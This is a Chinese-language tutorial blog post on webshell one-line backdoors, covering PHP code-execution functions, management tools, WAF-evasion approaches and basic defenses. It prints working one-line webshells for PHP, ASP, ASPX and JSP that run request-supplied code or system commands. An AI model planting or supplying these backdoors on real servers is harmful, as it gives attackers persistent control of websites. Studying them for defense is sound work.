Webshell 一句话木马

Webshell介绍

什么是 WebShell

  • webshell就是以asp、php、jsp或者cgj等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门

  • 由于 webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具

  • 攻击者可以利用 webshell从而达到长期控制网站服务器的目的,并获得执行操作权

Webshell分类

一句话木马的执行过程

PHP中常见的代码执行函数

  • 执行函数与 Webshell的关系

    • PHP中可以执行代码的函数,常常被用来编写一句话木马 ,因此对代码执行函数做一些归纳
  • PHP中常见的代码执行函数

  • eval()、 assert()、 preg_replace()、create_function()

    • array_map()、call_user_func()、 call_user_func_array()、array_filter()
  • 命令执行函数

    • system()、exec()、 popen()、 passthru()、 shell_exec()、`

PHP Webshell

各个版本php支持函数如下

  • 5.x :eval / assert / preg_replace /e /create_function

  • 7.x :eval / assert

  • 8.x :eval

常用PHP函数版本Webshell

**// eval()函数** 
<?php eval($_REQUEST["cmd"]);?>

**// assert()函数** 
<?php assert($_REQUEST["cmd"]);?>

**// preg_replace()函数** 
<?php @preg_replace("/abc/e",$_REQUEST['cmd'],"abc");?>

**// create_function()函数** 
<?php
  $func = create_function('',$_REQUEST['cmd']);
  $func();
?>

**// array_map()函数** 
<?php
 //func=system&cmd=ipconfig
 $func=$_REQUEST['func'];
 $cmd=$_REQUEST['cmd'];
 $array[0]=$cmd;
 $new_array=array_map($func,$array);
?>

**// array_filter函数** 
<?php
 //func=system&cmd=whoami
 $cmd=$_REQUEST['cmd'];
 $array1=array($cmd);
 $func=$_REQUEST['func'];
 array_filter($array1,$func);
?>

PHP 4种标记风格

php和其他几种web语言一样,都是使用一对标记将php代码部分包含起来,以便和html代码相区分,php一共4中标记风格

  1. xml风格(标准风格推荐使用)
<?php
  echo "这是xml风格的标记"; 
?>  
  • xml风格的标记是常用的标记,也是推荐使用的标记,服务器不能禁用,该风格的标记在xml,xhtml中都可使用。
  1. 脚本风格
<script languange="php"> 
  echo'这是脚本风格的标记';  
</script>  
  1. 短标签风格
<? 这是简短风格的标记; ?> 

注:需要在php.ini配置文件中开启short _open_tag=On ,默认关闭

  1. asp风格
<%  
  echo '这是asp风格的标记';  
%>  

注:需要在 php.ini 配置文件中开启 asp_tags = On ,默认关闭

  • 注:在以下情况应避免使用短标记:开发需要发行的程序或者库,或者在用户不能控制的服务器上开发。因为目标服务器可能不支持短标记。为了代码的移植及发行,确保不要使用短标记。

其他语言 Webshell

asp语言Webshell

// 菜刀可以连接的 Webshell
<%eval request("cmd")%>
<%execute request("cmd")%>
<%execute(request("cmd"))%>
<%executeGlobal request("cmd")%>
<%eval(Request(chr(35)))%> # ASCII码值

// 可以执行系统命令的 WebShell
<%response.write server.createobject("wscript.shell").exec("cmd.exe /c "&request("cmd").stdout.readall%>

aspx语言Webshell

<%@ Page Language="Jscript"%>
<%eval(Request.ltem["pass"],"unsafe");%>

<%@ Page Language="Jscript" validateRequest="false" %>
<%Response.Write(eval(Request.ltem["pass"],"unsafe"));%>

jsp语言Webshell

// 执行系统命令且有回显
<% if("023".equals(request.getParameter("pwd"))){java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[]b= new byte[2048];
out.print("<pre>");
  while((a=in.read(b))!=-1){
    out.println(new String(b,0,a));
  }out.print("</pre>");
}%>

Webshell管理工具

  • 为什么使用 WebShel管理工具?

攻击者在入侵网站时,通常要通过各种方式写入 Webshell,从而获得服务器的控制权限,比如执行系统命令、读取配置文件等操作

  • 常见的 WebShel管理工具

蚁剑 (AntSword)

C刀 (Knife)

冰蝎 (Behinder)

  • 一款动态二进制加密 网站管理客户端

  • 冰蝎″目前最新版本为v3.0,兼容性已经日益完善,加密不再依赖 PHP opens$!展功能,同时支持了简单的ASP

  • 主体功能方面包括虚拟终端、 socks代理、文件管理、反弹she!数据库管理等,功能强大

  • github项目地址:https://github.com/rebeyond/behinder/releases

  • Webshell管理工具四大功能

Webshell变形

变形目的

  • waf通常以关键字 判断是否为一句话木马,但是一句话木马的变形有很多种,waf不可能全部拦截

  • 想要绕过waf,需要掌握各种PHP小技巧,把技巧结合起来,可以设计出属于自己的一句话木马

变形方法

  1. 利用str_replace() 函数

  1. 利用base64_decode() 函数

  1. 利用"."操作符

  1. 更换数据来源

  1. 替代标签

  1. 字符串组合法隐藏关键字

  1. 其他变形

Webshell变形总结

绕过技巧

  1. 更换执行数据来源

  2. 字符替换 或者编码

  3. 采取隐匿 手段

WebShell防御技巧

  1. 使用和及时更新防护类工具或产品

  2. 对服务器的文件夹设置严格的读写权限

  3. 在服务器中禁用一些敏感的危险函数 ,如命令执行 system() 等函数

  4. 定期检查系统进程,查看是否有可疑的进程

  5. 根据文件的创建日期观察系统目录下是否有近期新建的可执行文件

原文地址:https://www.cnblogs.com/wuhongbin/p/15517966.html

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐


咱们在vscode中使用copilot的过程中,有可能会涉及到个人账号和其他账号的互相切换,在网上找了半天都没找到相应的资料,于是就自己摸索了一下,终于找到了方法。解决思路:经过试验,github copilot插件是使用的vsc
这篇文章给大家介绍怎么在GitHub上快速找到实用资源,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。搜热门:GitHub Trend 和 GitHub Top...
这篇文章主要介绍“github缓存穿透的解决方法是什么”,在日常操作中,相信很多人在github缓存穿透的解决方法是什么问题上存在疑惑,小编查阅了各式资料,整理出...
本篇内容介绍了“github线性回归怎么实现”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧...
怎样使用GitHub,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。GitHub简介...
今天小编给大家分享一下GitHub的高级搜索方法有哪些的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下...
这期内容当中小编将会给大家带来有关Github 1.9K Star的数据治理框架Amundsen如何理解,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可...
本篇文章为大家展示了git如何设置代理提升github clone速度,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。github...
本篇内容介绍了“github怎么实现FaceU边框模糊效果”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理...
本篇内容介绍了“GitHub基础操作有哪些”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧...
这篇文章主要介绍了Github操作技巧实例分析的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇Github操作技巧实例分析文章都会有
今天小编给大家分享一下github设备激活的方法的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大...
本文小编为大家详细介绍“GitHub的命令行工具有哪些”,内容详细,步骤清晰,细节处理妥当,希望这篇“GitHub的命令行工具有哪些”文章能帮助大家解决疑惑,下面...
本篇内容主要讲解“GitHub网页githubusercontent地址无法访问怎么解决”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大...
本文小编为大家详细介绍“怎么使用Github Action发布jar到Maven中央仓库”,内容详细,步骤清晰,细节处理妥当,希望这篇“怎么使用Github Action发布jar到Maven...
本文小编为大家详细介绍“GitHub中如何修改默认的分支”,内容详细,步骤清晰,细节处理妥当,希望这篇“GitHub中如何修改默认的分支”文章能帮助大家解决疑惑...
这篇“Github访问速度慢及图片加载慢问题怎么处理”文章的知识点大部分人都不太理解,所以小编给大家总结了以下内容,内容详细,步骤清晰,具有一定的借鉴价
这篇文章主要介绍“vue项目打包上传github并制作预览链接的方法”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“vue...
这篇文章主要讲解了“访问不了github怎么处理”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“访问不了gith...
今天小编给大家分享一下GitHub访问不了怎么解决的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希